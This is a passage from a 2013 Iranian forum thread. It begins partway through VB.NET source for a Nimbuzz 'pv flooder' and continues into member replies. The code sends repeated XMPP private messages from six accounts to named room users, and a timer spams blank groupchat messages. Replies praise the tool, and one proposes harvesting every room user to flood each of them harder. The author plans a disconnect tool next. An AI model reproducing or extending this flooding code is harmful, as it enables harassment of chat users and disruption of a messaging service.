        ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox20.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")

        ersi1.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi2.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi3.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi4.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi5.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")
        ersi6.Send("<message xmlns='jabber:client' to='" + TextBox8.Text + "@conference.nimbuzz.com/" + TextBox21.Text + "' type='chat' id='292'><body>" + TextBox10.Text + "</body><active xmlns='http://jabber.org/protocol/chatstates' /><x xmlns='jabber:x:event'><composing /></x></message>")

    End Sub
    Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
        ersi1.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>                  </body></message>")
        ersi2.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>                  </body></message>")
        ersi3.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>                  </body></message>")
        ersi4.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>                  </body></message>")
        ersi5.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>                  </body></message>")
        ersi6.Send("<message to='" + TextBox8.Text + "@conference.nimbuzz.com' type='groupchat'><body>                  </body></message>")
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
        BackgroundImageLayout = ImageLayout.Stretch
    End Sub

    Private Sub Button12_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button12.Click
        Timer1.Enabled = False
    End Sub

    Private Sub Button13_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button13.Click
        MessageBox.Show("https://freebuzz.ir", "freebuzz")
    End Sub

    Private Sub Button14_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button14.Click
        MessageBox.Show("Message is fixed", "message fix return")
    End Sub
End Class
hammontor ke dustan to verisone ghabl nazar dade bodan ke saize soft bozorge kochik tarsh kardam
mamnon misham pishnehadat va enteghadate khodetono too hamin topic begid ke age vere badi dar kar bashe hamash bartyaraf she
linke1:
[You must be registered and logged in to see this link.]
linke2:
[You must be registered and logged in to see this link.]
scan:
[You must be registered and logged in to see this link.]
movafaqo sar boland bashid rose 

Zἔὄմʂ
FreeBuzz Team
FreeBuzz Team

Posts : 407
Points : 79
Thanked : 5
Join date : 2013-08-23
Nimbuzz Id : ήὄ Sἷʛᾗᾄł

http://www.freebuzz.ir

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by rnedi on Fri Nov 01, 2013 7:50 pm

+
Your vote has been cast

rnedi
Member
Member

Posts : 47
Points : 151
Thanked : 10
Join date : 2013-01-30
ASL : Мehdi 16 Мazaŋaraŋ
Nimbuzz Id : rnedi@nimbuzz.com

http://Ehem.ir

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by ghaz_ghaz90 on Fri Nov 01, 2013 8:03 pm

afarin ersan khaste nabashi inke soruse ham gozashti +

ghaz_ghaz90
FreeBuzz Team
FreeBuzz Team

Posts : 934
Points : 1823
Thanked : 5
Join date : 2012-04-28
ASL : arash

http://group.freebuzz.ir/

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by rahmani on Fri Nov 01, 2013 10:21 pm

well

rahmani
Member
Member

Posts : 99
Points : 2973
Thanked : 0
Join date : 2012-06-25
ASL : Male, Kabul, Afghanistan
Nimbuzz Id : f!da@nimbuzz.com

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by Co-Admin on Fri Nov 01, 2013 10:41 pm

awarin esran

Co-Admin
FreeBuzz Team
FreeBuzz Team

Posts : 1062
Points : -4513
Thanked : 4
Join date : 2012-09-17
ASL : arash 17 mahshahr
Nimbuzz Id : nemiam.nim@nimbuzz.com :d

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by Rasolahwazi on Fri Nov 01, 2013 11:18 pm

nice soft +

Rasolahwazi
Member
Member

Posts : 1325
Points : 634
Thanked : 23
Join date : 2013-06-26
ASL : Name Rasol Age 25 Islamic Republic of Iran City Ahwaz
Nimbuzz Id : Rasolahwazi@Nimbuzz.com and rasol@Nimbuzz.com Only rasolahwazi@n.c add Please do not add to the IDI rasol@n.c http://rasolahwazi.blogspot.com

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by umair~sipra.@n.c on Fri Nov 01, 2013 11:38 pm

ghelyun  NICE

umair~sipra.@n.c
Member
Member

Posts : 5
Points : 3
Thanked : 0
Join date : 2013-11-01

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by Zἔὄմʂ on Sat Nov 02, 2013 2:33 pm

mc az hame dustan
yani soft iradi nadasht???
har moshkeli chizi daird hamija begid ke ok konam

Zἔὄմʂ
FreeBuzz Team
FreeBuzz Team

Posts : 407
Points : 79
Thanked : 5
Join date : 2013-08-23
Nimbuzz Id : ήὄ Sἷʛᾗᾄł

http://www.freebuzz.ir

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by BTM on Sat Nov 02, 2013 2:56 pm

afarin ersan boro jelo man poshtetm Surprised 

BTM
Badbuzzer
Badbuzzer

Posts : 81
Points : 42
Thanked : 2
Join date : 2013-07-04
ASL : :p
Nimbuzz Id : t00rk@n.c

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by ghaz_ghaz90 on Sat Nov 02, 2013 5:25 pm

ersan bejaye inke be 5ta id pv flood bede ye listbox bezar hameye usera room ro get kone bad ba 6ta id be ona pv flood bede intori kh behtre har id ham ba 6ta id onvaqt flood mikhore o sortesh bala taro margbar tar mishe

ghaz_ghaz90
FreeBuzz Team
FreeBuzz Team

Posts : 934
Points : 1823
Thanked : 5
Join date : 2012-04-28
ASL : arash

http://group.freebuzz.ir/

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by Zἔὄմʂ on Sat Nov 02, 2013 6:20 pm

mc dawsh aref fadatam
ok arashe gol ishalah age shod vere badi dadam mikham room pv dc benewisam

Zἔὄմʂ
FreeBuzz Team
FreeBuzz Team

Posts : 407
Points : 79
Thanked : 5
Join date : 2013-08-23
Nimbuzz Id : ήὄ Sἷʛᾗᾄł

http://www.freebuzz.ir

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by +k!k on Sun Nov 03, 2013 1:57 am

afarin esran

+k!k
FreeBuzz Team
FreeBuzz Team

Posts : 1190
Points : 1436
Thanked : 6
Join date : 2012-11-08
ASL : milad 24

Back to top Go down

GMT + 3 Hours Re: Freebuzz hidden room user pv flooder . soft and code

Post by Sponsored content Today at 11:53 pm


Sponsored content


Back to top Go down

View previous topic View next topic Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum